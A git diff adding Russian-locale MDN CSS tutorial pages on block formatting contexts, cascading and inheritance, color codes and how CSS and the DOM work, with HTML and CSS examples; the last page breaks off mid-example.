+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span></code></pre>
+</div>
+</div>
+
+<pre class="brush: css line-numbers language-css"><code class="language-css"><span class="selector token"><span class="class token">.box</span></span> <span class="punctuation token">{</span>
+    <span class="property token">background-color</span><span class="punctuation token">:</span> <span class="function token">rgb</span><span class="punctuation token">(</span><span class="number token">224</span><span class="punctuation token">,</span> <span class="number token">206</span><span class="punctuation token">,</span> <span class="number token">247</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="property token">border</span><span class="punctuation token">:</span> <span class="number token">5</span><span class="token unit">px</span> solid rebeccapurple<span class="punctuation token">;</span>
+    <span class="property token">display</span><span class="punctuation token">:</span> flow-root
+<span class="punctuation token">}</span>
+<span class="selector token"><span class="class token">.float</span></span> <span class="punctuation token">{</span>
+    <span class="property token">float</span><span class="punctuation token">:</span> left<span class="punctuation token">;</span>
+    <span class="property token">width</span><span class="punctuation token">:</span> <span class="number token">200</span><span class="token unit">px</span><span class="punctuation token">;</span>
+    <span class="property token">height</span><span class="punctuation token">:</span> <span class="number token">150</span><span class="token unit">px</span><span class="punctuation token">;</span>
+    <span class="property token">background-color</span><span class="punctuation token">:</span> white<span class="punctuation token">;</span>
+    <span class="property token">border</span><span class="punctuation token">:</span><span class="number token">1</span><span class="token unit">px</span> solid black<span class="punctuation token">;</span>
+    <span class="property token">padding</span><span class="punctuation token">:</span> <span class="number token">10</span><span class="token unit">px</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<div id="flowroot">
+<p>{{EmbedLiveSample("flowroot", 200, 200)}}</p>
+</div>
+
+<p>С помощью <code>display: flow-root;</code> применённом на элементе <code>&lt;div&gt;</code>, всё внутри этого контейнера будет учавствовать в едином блочном контексте форматирования этого контейнера, и плавающие элементы не будут торчать из нижней части контейнера.</p>
+
+<p>Задание значения <code>flow-root</code> имеет смысл тогда, когда Вы понимаете, что Вы создаёте что-то, что будет действовать так же, как действует корневой <code>root</code> элемент (<code>&lt;html&gt;</code> в браузерах) в том плане, что он создаёт новый контекст для компоновки потока внутри него.</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong>  <code>display: flow-root;</code> <a href="https://caniuse.com/#search=flow-root">не поддерживается</a> в Safari.</p>
+</div>
+
+<h3 id="Схлопывание_границ_margin">Схлопывание границ margin</h3>
+
+<p>Создание нового блочного контекста форматирования предотвращает эффект <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">схлопывания границ</a> между двумя соседними div:</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>blue<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>red-outer<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>red-inner<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>red inner<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css line-numbers language-css"><code class="language-css"><span class="selector token"><span class="class token">.blue</span>, <span class="class token">.red-inner</span></span> <span class="punctuation token">{</span>
+  <span class="property token">height</span><span class="punctuation token">:</span> <span class="number token">50</span><span class="token unit">px</span><span class="punctuation token">;</span>
+  <span class="property token">margin</span><span class="punctuation token">:</span> <span class="number token">10</span><span class="token unit">px</span> <span class="number token">0</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token"><span class="class token">.blue</span></span> <span class="punctuation token">{</span>
+  <span class="property token">background</span><span class="punctuation token">:</span> blue<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token"><span class="class token">.red-outer</span></span> <span class="punctuation token">{</span>
+  <span class="property token">overflow</span><span class="punctuation token">:</span> hidden<span class="punctuation token">;</span>
+  <span class="property token">background</span><span class="punctuation token">:</span> red<span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>{{EmbedLiveSample("Margin_collapsing", 120, 120)}}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#q15">CSS 2.1</a></li>
+ <li><a class="external" href="https://drafts.csswg.org/css-display/#block-formatting-context">CSS Display Level 3</a></li>
+</ul>
+
+<h2 id="See_Also" name="See_Also">Статьи по теме</h2>
+
+<ul>
+ <li>{{ cssxref("float") }}, {{ cssxref("clear") }}</li>
+ <li>{{css_key_concepts}}</li>
+</ul>
diff --git a/files/ru/web/guide/css/getting_started/cascading_and_inheritance/index.html b/files/ru/web/guide/css/getting_started/cascading_and_inheritance/index.html
new file mode 100644
index 0000000000..248c935d52
--- /dev/null
+++ b/files/ru/web/guide/css/getting_started/cascading_and_inheritance/index.html
@@ -0,0 +1,151 @@
+---
+title: Каскадность и наследование
+slug: Web/Guide/CSS/Getting_started/Cascading_and_inheritance
+tags:
+  - Beginner
+  - CSS
+  - 'CSS:Getting_Started'
+  - Guide
+  - Web
+  - Веб
+  - Новичку
+translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance
+---
+<p>{{ CSSTutorialTOC() }}</p>
+
+<p>{{ previousPage("/ru/docs/Web/Guide/CSS/Getting_Started/How_CSS_works", "Как работает CSS")}} Это четвертый раздел руководства <a href="/ru/docs/Web/Guide/CSS/Getting_Started" title="ru/CSS/Getting Started">CSS для начинающих</a>. Он описывает, как таблицы стилей взаимодействуют в каскаде, и как дочерние элементы наследуют стиль от родительских. Используя наследование, в приведённой ниже задаче вы измените стиль некоторых элементов за один шаг.</p>
+
+<h2 id="Информация_Каскадность_и_наследование">Информация: Каскадность и наследование</h2>
+
+<p>Окончательный стиль элемента можно указать во многих местах, которые комплексно взаимодействуют между собой. Эти комплексные взаимодействия делают CSS мощным, но в то же время, иногда сбивают с толку и порождают сложности при отладке. </p>
+
+<p>Три основных источника информации о стилях образовывают <em>каскад</em>. К ним относятся следующие:</p>
+
+<ul>
+ <li>Стили разметки браузера по умолчанию.</li>
+ <li>Стили, указанные пользователем при чтении документа.</li>
+ <li>Стили, связанные с документом их автором. Их можно указывать в трех местах:</li>
+</ul>
+
+<ol>
+ <li>Во внешнем файле: в этом учебном руководстве обсуждается преимущественно этот метод указания стилей.</li>
+ <li>В начале документа (раздел заголовок документа): используйте этот метод только для стилей в пределах этой страницы.</li>
+ <li>Для конкретного элемента в теле документа: это наименее поддерживаемый метод, но может быть использован для тестирования.</li>
+</ol>
+
+<p>Стиль пользователя модифицирует стиль браузера по умолчанию. Стиль документа, указанный его автором, изменяет стиль ещё в некоторой мере. В этом обучающем руководстве, вы являетесь автором шаблонного документа, и только вы работаете с авторскими таблицами стилей.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">Пример</div>
+
+<p>Когда вы читаете этот документ в браузере, часть стилей происходит от стилей для HTML по умолчанию вашего браузера.</p>
+
+<p>Часть стиля может происходить от измененных настроек браузера или измененного файла определения стиля. В Firefox настройки можно изменить в диалоге Предпочтения или же указать стили в файле <code>userContent.css</code> в профиле браузера.</p>
+
+<p>Часть стиля приходит из таблиц стилей, связываемых с документом вики-сервером.</p>
+</div>
+
+<p>Когда вы открываете шаблон документа в браузере, элементы {{ HTMLElement("strong") }} имеют более жирный шрифт по сравнению с остальным текстом. Это следует из настроек HTML стилей браузера по умолчанию.</p>
+
+<p>Элемент {{ HTMLElement("strong") }} красного цвета. Это следует из настроек вашего шаблона таблиц стилей.</p>
+
+<p>Элементы {{ HTMLElement("strong") }} также наследуют большую часть стилей элемента {{ HTMLElement("p") }} поскольку они являются дочерними. Таким же образом элемент {{ HTMLElement("p") }} наследует большую часть стиля элемента {{ HTMLElement("body") }}.</p>
+
+<p>Для стилей в каскаде, авторские таблицы стилей имеют приоритет перед стилями для режимов чтения браузера. Последние, в свою очередь, имеют приоритет перед настройками браузера по умолчанию.</p>
+
+<p>Для наследуемых стилей, собственный стиль дочернего узла имеет приоритет над стилем, унаследованным от родительского узла.</p>
+
+<p>These are not the only priorities that apply. A later page in this tutorial will explain more.</p>
+
+<div class="tuto_details">
+<div class="tuto_type">Подробнее</div>
+
+<p>CSS также предоставляет способ переопределения стиля в авторском документе для читателя с помощью ключевого слова <code>!important</code>.</p>
+
+<p>Это означает, что как автор документа, вы не всегда можете точно предсказать, что ваши читатели будут видеть в своём браузере.</p>
+
+<p>Если вы хотите знать все детали каскадирования и наследования, ознакомьтесь с документом <a class="external" href="http://www.w3.org/TR/CSS21/cascade.html">Assigning property values, Cascading, and Inheritance</a> в спецификации CSS.</p>
+</div>
+
+<h2 id="К_действию_Использование_наследования">К действию: Использование наследования</h2>
+
+<ol>
+ <li>Откройте CSS-файл примера.</li>
+ <li>Добавьте в файл строку кода, представленную ниже. Не имеет особого значения, в какой части CSS-документа вы расположите эту строку. Тем не менее, добавить его в самом верху будет логично, поскольку в документе элемент {{ HTMLElement("p") }} является родительским по отношению к элементу {{ HTMLElement("strong") }} :
+  <pre>p {color: blue; text-decoration: underline;}
+</pre>
+ </li>
+ <li>Теперь сохраните документ и обновите страницу в браузере, чтобы увидеть изменения. Весь текст в абзаце будет подчеркнут, в том числе и начальные буквы. Элемент {{ HTMLElement("strong") }} унаследовал подчеркнутый стиль от родительского элемента {{ HTMLElement("p") }} .<br>
+
+  <p>Обратите внимание, что элементы {{ HTMLElement("strong") }} всё ещё красные. Красный цвет является их собственным стилем, поэтому имеет приоритет перед синим цветом, заданным для родительского элемента {{ HTMLElement("p") }} . </p>
+ </li>
+</ol>
+
+<h2 id="Before" name="Before">До</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+&lt;strong&gt;C&lt;/strong&gt;ascading
+&lt;strong&gt;S&lt;/strong&gt;tyle
+&lt;strong&gt;S&lt;/strong&gt;heets
+&lt;/p&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">strong {color:red}
+</pre>
+
+<p>{{ EmbedLiveSample('Before') }}</p>
+
+<h2 id="After" name="After">После</h2>
+
+<h3 id="HTML_2">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+&lt;strong&gt;C&lt;/strong&gt;ascading
+&lt;strong&gt;S&lt;/strong&gt;tyle
+&lt;strong&gt;S&lt;/strong&gt;heets
+&lt;/p&gt;
+</pre>
+
+<h3 id="CSS_2">CSS</h3>
+
+<pre class="brush:css" dir="rtl">p {color:blue; text-decoration:underline}
+strong {color:red}</pre>
+
+<p>{{ EmbedLiveSample('After') }}</p>
+
+<p> </p>
+
+<div class="tuto_example">
+<div class="tuto_type">Задание</div>
+Измените таблицу стилей таким образом, чтобы были подчеркнуты только красные буквы:
+
+<table style="border: 2px outset #3366bb; padding: 1em;">
+ <tbody>
+  <tr>
+   <td style="color: blue;"><strong style="color: red; text-decoration: underline;">C</strong>ascading <strong style="color: red; text-decoration: underline;">S</strong>tyle <strong style="color: red; text-decoration: underline;">S</strong>heets</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="tuto_details" id="tutochallenge">
+<div class="tuto_type">Возможное решение</div>
+
+<p>Переместите объявление подчеркивания из правила для {{ HTMLElement("p") }} в правило для {{ HTMLElement("strong") }}. В результате файл будет выглядеть следующим образом:</p>
+
+<pre class="brush: css">p {color: blue; }
+strong {color: red; text-decoration: underline;}
+</pre>
+
+<p> </p>
+<a class="hideAnswer" href="#challenge">Hide solution</a></div>
+<a href="#tutochallenge" title="Display a possible solution for the challenge">Посмотреть вариант решения.</a></div>
+
+<p> </p>
+
+<h2 id="Что_дальше">Что дальше?</h2>
+
+<p>{{ nextPage("/ru/docs/Web/Guide/CSS/Getting_Started/Selectors", "Селекторы")}}Ваш пример таблицы стилей определяет стили для тегов &lt;p&gt; и &lt;STRONG&gt;, изменяя стиль соответствующих элементов по всему документу. В следующем разделе описывается, как задать стиль более <a href="/ru/docs/Web/Guide/CSS/Getting_Started/Selectors" title="/ru/docs/Web/Guide/CSS/Getting_Started/Selectors">избирательными методами</a>.</p>
diff --git a/files/ru/web/guide/css/getting_started/color/index.html b/files/ru/web/guide/css/getting_started/color/index.html
new file mode 100644
index 0000000000..1da796858f
--- /dev/null
+++ b/files/ru/web/guide/css/getting_started/color/index.html
@@ -0,0 +1,344 @@
+---
+title: Color
+slug: Web/Guide/CSS/Getting_started/Color
+translation_of: Learn/CSS/Introduction_to_CSS/Values_and_units#Colors
+---
+<p>{{ CSSTutorialTOC() }}</p>
+
+<p>{{previousPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Text_styles", "Text styles")}}<span class="seoSummary">This is the 8th section of the <a href="/en-US/docs/Web/Guide/CSS/Getting_Started" title="en-US/docs/Web/Guide/CSS/Getting Started">CSS Getting Started</a> tutorial; it explains how you can specify color in CSS. In your sample stylesheet, you introduce background colors.</span></p>
+
+<h2 class="clearLeft" id="Information_Color">Information: Color</h2>
+
+<p>In this tutorial so far, you have used a limited number of named colors. CSS2 supports 17 named colors in all. Some of the names might not be what you expect:</p>
+
+<table style="border: 0px; margin-left: 2em; text-align: right;">
+ <tbody>
+  <tr>
+   <td> </td>
+   <td>black</td>
+   <td style="width: 2em; height: 2em; background-color: black;"> </td>
+   <td>gray</td>
+   <td style="width: 2em; height: 2em; background-color: gray;"> </td>
+   <td>silver</td>
+   <td style="width: 2em; height: 2em; background-color: silver;"> </td>
+   <td>white</td>
+   <td style="width: 2em; height: 2em; background-color: white; border: 1px dotted gray;"> </td>
+  </tr>
+  <tr>
+   <td>primaries</td>
+   <td>red</td>
+   <td style="width: 2em; height: 2em; background-color: red;"> </td>
+   <td>lime</td>
+   <td style="width: 2em; height: 2em; background-color: lime;"> </td>
+   <td>blue</td>
+   <td style="width: 2em; height: 2em; background-color: blue;"> </td>
+  </tr>
+  <tr>
+   <td>secondaries</td>
+   <td>yellow</td>
+   <td style="width: 2em; height: 2em; background-color: yellow;"> </td>
+   <td>aqua</td>
+   <td style="width: 2em; height: 2em; background-color: aqua;"> </td>
+   <td>fuchsia</td>
+   <td style="width: 2em; height: 2em; background-color: fuchsia;"> </td>
+  </tr>
+  <tr>
+   <td> </td>
+   <td>maroon</td>
+   <td style="width: 2em; height: 2em; background-color: maroon;"> </td>
+   <td>orange</td>
+   <td style="width: 2em; height: 2em; background-color: orange;"> </td>
+   <td>olive</td>
+   <td style="width: 2em; height: 2em; background-color: olive;"> </td>
+   <td>purple</td>
+   <td style="width: 2em; height: 2em; background-color: purple;"> </td>
+   <td>green</td>
+   <td style="width: 2em; height: 2em; background-color: green;"> </td>
+   <td>navy</td>
+   <td style="width: 2em; height: 2em; background-color: navy;"> </td>
+   <td>teal</td>
+   <td style="width: 2em; height: 2em; background-color: teal;"> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<div class="tuto_details">
+<div class="tuto_type">Details</div>
+
+<p>Your browser might support many more named colors, like:</p>
+
+<table style="background-color: inherit; border: 0px; margin: .5em 0px .5em 2em; text-align: right;">
+ <tbody>
+  <tr>
+   <td>dodgerblue</td>
+   <td style="width: 2em; height: 2em; background-color: dodgerblue;"> </td>
+   <td>peachpuff</td>
+   <td style="width: 2em; height: 2em; background-color: peachpuff;"> </td>
+   <td>tan</td>
+   <td style="width: 2em; height: 2em; background-color: tan;"> </td>
+   <td>firebrick</td>
+   <td style="width: 2em; height: 2em; background-color: firebrick;"> </td>
+   <td>aquamarine</td>
+   <td style="width: 2em; height: 2em; background-color: aquamarine;"> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>For details of this extended list, see: <a class="external" href="http://www.w3.org/TR/2003/CR-css3-color-20030514/#svg-color">SVG color keywords</a> in the CSS 3 Color Module. Beware of using color names that your reader's browsers might not support.</p>
+</div>
+
+<p>For a larger palette, specify the red, green and blue components of the color you want by using a number sign (hash) and three <em>hexadecimal</em> digits in the range 0 – 9, a – f. The letters a – f represent the values 10 – 15:</p>
+
+<table style="border: 0px; margin-left: 2em;">
+ <tbody>
+  <tr>
+   <td>black</td>
+   <td style="width: 2em; height: 2em; background-color: #000;"> </td>
+   <td><code>#000</code></td>
+  </tr>
+  <tr>
+   <td>pure red</td>
+   <td style="width: 2em; height: 2em; background-color: #f00;"> </td>
+   <td><code>#f00</code></td>
+  </tr>
+  <tr>
+   <td>pure green</td>
+   <td style="width: 2em; height: 2em; background-color: #0f0;"> </td>
+   <td><code>#0f0</code></td>
+  </tr>
+  <tr>
+   <td>pure blue</td>
+   <td style="width: 2em; height: 2em; background-color: #00f;"> </td>
+   <td><code>#00f</code></td>
+  </tr>
+  <tr>
+   <td>white</td>
+   <td style="width: 2em; height: 2em; background-color: #fff; border: 1px dotted gray;"> </td>
+   <td><code>#fff</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><br>
+ For the full palette, specify two hexadecimal digits for each component:</p>
+
+<table style="border: 0px; margin-left: 2em;">
+ <tbody>
+  <tr>
+   <td>black</td>
+   <td style="width: 2em; height: 2em; background-color: #000;"> </td>
+   <td><code>#000000</code></td>
+  </tr>
+  <tr>
+   <td>pure red</td>
+   <td style="width: 2em; height: 2em; background-color: #f00;"> </td>
+   <td><code>#ff0000</code></td>
+  </tr>
+  <tr>
+   <td>pure green</td>
+   <td style="width: 2em; height: 2em; background-color: #0f0;"> </td>
+   <td><code>#00ff00</code></td>
+  </tr>
+  <tr>
+   <td>pure blue</td>
+   <td style="width: 2em; height: 2em; background-color: #00f;"> </td>
+   <td><code>#0000ff</code></td>
+  </tr>
+  <tr>
+   <td>white</td>
+   <td style="width: 2em; height: 2em; background-color: #fff; border: 1px dotted gray;"> </td>
+   <td><code>#ffffff</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>You can usually get these six-digit hexadecimal codes from your graphics program or some other tool.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">Example</div>
+
+<p>With a little practice, you can adjust the three-digit colors manually for most purposes:</p>
+
+<table style="background-color: #fffff4; border: 0px; margin-left: 2em;">
+ <tbody>
+  <tr>
+   <td>Start with pure red:</td>
+   <td style="width: 2em; height: 2em; background-color: #f00;"> </td>
+   <td><code>#f00</code></td>
+  </tr>
+  <tr>
+   <td>To make it paler, add some green and blue:</td>
+   <td style="width: 2em; height: 2em; background-color: #f77;"> </td>
+   <td><code>#f77</code></td>
+  </tr>
+  <tr>
+   <td>To make it more orange, add a little extra green:</td>
+   <td style="width: 2em; height: 2em; background-color: #fa7;"> </td>
+   <td><code>#fa7</code></td>
+  </tr>
+  <tr>
+   <td>To darken it, reduce all its components:</td>
+   <td style="width: 2em; height: 2em; background-color: #c74;"> </td>
+   <td><code>#c74</code></td>
+  </tr>
+  <tr>
+   <td>To reduce its saturation, make its components more equal:</td>
+   <td style="width: 2em; height: 2em; background-color: #c98;"> </td>
+   <td><code>#c98</code></td>
+  </tr>
+  <tr>
+   <td>If you make them exactly equal, you get gray:</td>
+   <td style="width: 2em; height: 2em; background-color: #ccc;"> </td>
+   <td><code>#ccc</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>For a pastel shade like pale blue:</p>
+
+<table style="background-color: #fffff4; border: 0px; margin-left: 2em;">
+ <tbody>
+  <tr>
+   <td>Start with pure white:</td>
+   <td style="width: 2em; height: 2em; background-color: #fff; border: 1px dotted gray;"> </td>
+   <td><code>#fff</code></td>
+  </tr>
+  <tr>
+   <td>Reduce the other components a little:</td>
+   <td style="width: 2em; height: 2em; background-color: #eef; border: 1px dotted gray;"> </td>
+   <td><code>#eef</code></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div class="tuto_details">
+<div class="tuto_type">More details</div>
+
+<p>You can also specify a color using decimal RGB values in the range 0 – 255, or percentages.</p>
+
+<p>For example, this is maroon (dark red):</p>
+
+<pre class="brush:css">rgb(128, 0, 0)
+</pre>
+
+<p>For full details of how to specify colors, see: <a class="external" href="http://www.w3.org/TR/CSS21/syndata.html#color-units">Colors</a> in the CSS Specification.</p>
+
+<p>For information on matching system colors like Menu and ThreeDFace, see: <a class="external" href="http://www.w3.org/TR/CSS21/ui.html#system-colors">CSS2 System Colors</a> in the CSS Specification.</p>
+</div>
+
+<h3 id="Color_properties">Color properties</h3>
+
+<p>You have already used the {{ cssxref("color") }} property on text.</p>
+
+<p>You can also use the {{ cssxref("background-color") }} property to change elements' backgrounds.</p>
+
+<p>Backgrounds can be set to <code>transparent</code> to explicitly remove any color, revealing the parent element's background.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">Example</div>
+
+<p>The <strong>Example</strong> boxes in this tutorial use this pale yellow background:</p>
+
+<pre class="brush:css">background-color: #fffff4;
+</pre>
+
+<p>The <strong>More details</strong> boxes use this pale gray:</p>
+
+<pre class="brush:css">background-color: #f4f4f4;
+</pre>
+</div>
+
+<p> </p>
+
+<h2 id="Action_Using_color_codes">Action: Using color codes</h2>
+
+<h2 id="Color_page" name="Color_page">Color page</h2>
+
+<ol>
+ <li>Edit your CSS file.</li>
+ <li>Make the change shown down here, to give the initial letters a pale blue background. (The layout and comments in your file probably differ from the file shown here. Keep the layout and comments the way you prefer them.)</li>
+ <li>
+  <h3 id="HTML_Content">HTML Content</h3>
+
+  <pre class="brush: html">&lt;p id = "first"&gt; &lt;strong&gt;C&lt;/strong&gt;ascading &lt;strong class="spinach"&gt;S&lt;/strong&gt;tyle &lt;strong class="spinach"&gt;S&lt;/strong&gt;heets&lt;/p&gt;
+&lt;p&gt; &lt;strong&gt;C&lt;/strong&gt;ascading &lt;strong&gt;S&lt;/strong&gt;tyle &lt;strong&gt;S&lt;/strong&gt;heets&lt;/p&gt;
+</pre>
+
+  <h3 id="CSS_Content">CSS Content</h3>
+
+  <pre class="brush: css">/*** CSS Tutorial: Color page ***/
+
+/* page font */
+body {
+  font: 16px "Comic Sans MS", cursive;
+}
+
+/* paragraphs */
+p {
+  color: blue;
+}
+#first {
+  font-style: italic;
+}
+
+/* initial letters */
+strong {
+  background-color: #ddf;
+  color: red;
+  font: 200% serif;
+}
+
+.spinach {
+  color: green;
+  background-color: #ddf;
+}
+
+</pre>
+ </li>
+ <li>Save the file and refresh your browser to see the result.</li>
+ <li>The result should be like this:</li>
+</ol>
+
+<p>{{ EmbedLiveSample('Color_page', '', '', '', 'Web/Guide/CSS/Getting_started/Color') }}</p>
+
+<div class="tuto_example">
+<div class="tuto_type">Challenge</div>
+
+<p>In your CSS file, change all the color names to 3-digit color codes without affecting the result.</p>
+
+<p>(This cannot be done exactly, but you can get close. To do it exactly you need 6-digit codes, and you need to look up the CSS Specification or use a graphics tool to match the colors.)</p>
+
+<div class="tuto_details" id="tutochallenge">
+<div class="tuto_type">Possible solution</div>
+
+<p>The following values are reasonable approximations of the named colors:</p>
+
+<pre class="brush: css">strong {
+  color: #f00; /* red */
+  background-color: #ddf; /* pale blue */
+  font: 200% serif;
+}
+
+.carrot {
+  color: #fa0; /* orange */
+}
+
+.spinach {
+  color: #080; /* dark green */
+}
+
+p {
+  color: #00f; /* blue */
+}
+</pre>
+
+<p> </p>
+<a class="hideAnswer" href="#challenge">Hide solution</a></div>
+<a href="#tutochallenge" title="Display a possible solution for the challenge">See a solution for the challenge.</a></div>
+
+<h2 id="What_next">What next?</h2>
+
+<p>{{nextPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Content", "Content")}}Your sample document and your sample stylesheet strictly separate content from style. The <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Content" title="/en-US/docs/Web/Guide/CSS/Getting_Started/Content">next section</a> explains how you can make exceptions to this strict separation.</p>
diff --git a/files/ru/web/guide/css/getting_started/how_css_works/index.html b/files/ru/web/guide/css/getting_started/how_css_works/index.html
new file mode 100644
index 0000000000..067a4a8fe0
--- /dev/null
+++ b/files/ru/web/guide/css/getting_started/how_css_works/index.html
@@ -0,0 +1,121 @@
+---
+title: Как работает CSS
+slug: Web/Guide/CSS/Getting_started/How_CSS_works
+translation_of: Learn/CSS/First_steps/How_CSS_works
+---
+<p>{{ CSSTutorialTOC() }}</p>
+
+<p>{{ previousPage("/ru/docs/Web/Guide/CSS/Getting_Started/Why_use_CSS", "Зачем нужен CSS?") }} Это третья статья руководства по <span class="seoSummary"><a href="/ru/docs/Web/Guide/CSS/Getting_started" title="ru/docs/Web/Guide/CSS/Getting_started">CSS для начинающих</a>, объясняет, как работает CSS в вашем браузере, а также назначение Объектной Модели Документа (</span>Document Object Model или DOM). Вы также узнаете, как сделать анализ документа.</p>
+
+<h2 class="clearLeft" id="Информация_Как_работает_CSS">Информация: Как работает CSS</h2>
+
+<p>Когда браузер отображает документ, он должен совместить содержимое документа с информацией о стилях для него. Браузер обрабатывает документ в два этапа:</p>
+
+<ol>
+ <li>Браузер преобразует язык разметки и CSS в DOM (Document Object Model). DOM представляет собой документ в памяти компьютера. Он сочетает в себе содержание документа с его стилем.</li>
+ <li>Браузер отображает содержимое DOM.</li>
+</ol>
+
+<p>Язык разметки использует <em>элементы</em> для определения структуры документа. Элемент обозначается с использованием тегов, которые представляют собой строки, начинающиеся с символа '&lt;' и заканчивающиеся '&gt;'. Большинство элементов имеет парные теги: открывающий тег и закрывающий тег. Для открывающего тега, поместите имя элемента между '&lt;' и '&gt;'. Для закрывающего тега, поместите '<code>/</code>'  между '<code>&lt;</code>', и именем элемента.</p>
+
+<p>В зависимости от языка разметки, некоторые элементы имеют только начальный тег, или тег, где '/' располагается после имени элемента. Элемент так же может быть контейнером, включающим в себя другие элементы. В этом случае они располагаются между открывающим и закрывающим тегами. Не забывайте всегда закрывать теги внутри контейнера.</p>
+
+<p>DOM имеет древовидную структуру. Каждый элемент, атрибут и запуск текста на языке разметки становится <em>узлом</em> в древовидной структуре. Узлы определяются их взаимодействием с другими узлами DOM. Некоторые элементы становятся родительскими по отношению к другим, дочерним узлам (или узлам-потомкам). В свою очередь, дочерние узлы имеют "братьев" (siblings).</p>
+
+<p>Понимание DOM поможет вам при разработке, отладке и поддержке CSS, поскольку DOM это место, где встречаются CSS и содержимое документа.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">Пример</div>
+
+<div class="tuto_type"> </div>
+В данном примере, тег <code>&lt;p&gt;</code> и его закрывающий тег <code>&lt;/p&gt;</code> создают контейнер:
+
+<pre class="brush:html">&lt;p&gt;
+  &lt;strong&gt;C&lt;/strong&gt;ascading
+  &lt;strong&gt;S&lt;/strong&gt;tyle
+  &lt;strong&gt;S&lt;/strong&gt;heets
+&lt;/p&gt;
+</pre>
+
+<p><strong>Живой пример</strong></p>
+
+<p>{{ EmbedLiveSample('Информация_Как_работает_CSS', '', '', '', 'Web/Guide/CSS/Getting_started/How_CSS_works') }}</p>
+
+<p>В DOM соответствующий узел P является родительским. Его дочерние узлы - это теги <small>STRONG</small>  и узлы текста. Теги <small>STRONG, </small> в свою очередь, являются родительскими по отношению к текстовым узлам, которые являются их дочерними узлами:</p>
+
+<pre><span style="color: black;">P</span>
+├─<span style="color: black;">STRONG</span>
+│ └─"<span style="color: black;">C</span>"
+├─"<span style="color: black;">ascading</span>"
+├─<span style="color: black;">STRONG</span>
+│ └─"<span style="color: black;">S</span>"
+├─"<span style="color: black;">tyle</span>"
+├─<span style="color: black;">STRONG</span>
+│ └─"<span style="color: black;">S</span>"
+└─"<span style="color: black;">heets</span>"</pre>
+</div>
+
+<h2 id="К_действию_Анализ_DOM">К действию: Анализ DOM</h2>
+
+<h3 id="Использование_DOM_Inspector">Использование DOM Inspector</h3>
+
+<p>Для анализа DOM, вам потребуется специальная программа. Вы можете использовать расширение <a href="/en/DOM_Inspector" title="en/DOM_Inspector">DOM Inspector</a> (DOMi) от Mozilla для анализа DOM. Вам просто нужно установить это расширение в браузере (подробнее см. ниже).</p>
+
+<ol>
+ <li>Используйте браузер Mozilla, чтобы открыть свой HTML-документ.</li>
+ <li>Из строки меню браузера выберите <strong>Инструменты &gt; DOM инспектор</strong>, или <strong>Инструменты &gt; Веб-разработка &gt; Инспектор</strong>.
+  <div class="tuto_details">
+  <div class="tuto_type">Подробнее</div>
+
+  <p>Если в вашем браузере Mozilla не установлен DOMi, вы можете <a class="link-https" href="https://addons.mozilla.org/ru/firefox/addon/6622/" title="https://addons.mozilla.org/ru/firefox/addon/6622/">установить его с сайта дополнений</a> и перезапустить браузер. Затем возвращайтесь к этому руководству.</p>
+
+  <p>Если вы не хотите устанавливать DOMi (или вы используете браузер не от Mozilla), то можете воспользоваться Рентген-очками, как описано в секции ниже. Или вы можете пропустить эту секцию и перейти к прямо к следующей странице. Если вы пропустите данный раздел, это не помешает вам в дальнейшем освоении руководства.</p>
+  </div>
+ </li>
+ <li>В DOMi разверните узлы вашего документа, нажав на их стрелки.
+  <p><strong>Замечание: </strong> Пустые места в вашем HTML файле DOMi может отображать как пустые текстовые узлы, которые можно игнорировать.</p>
+
+  <p>Часть результата может выглядеть следующим образом, в зависимости от того, какие узлы вы развернули:</p>
+
+  <pre>│ ▼╴<span style="color: black;">P</span>
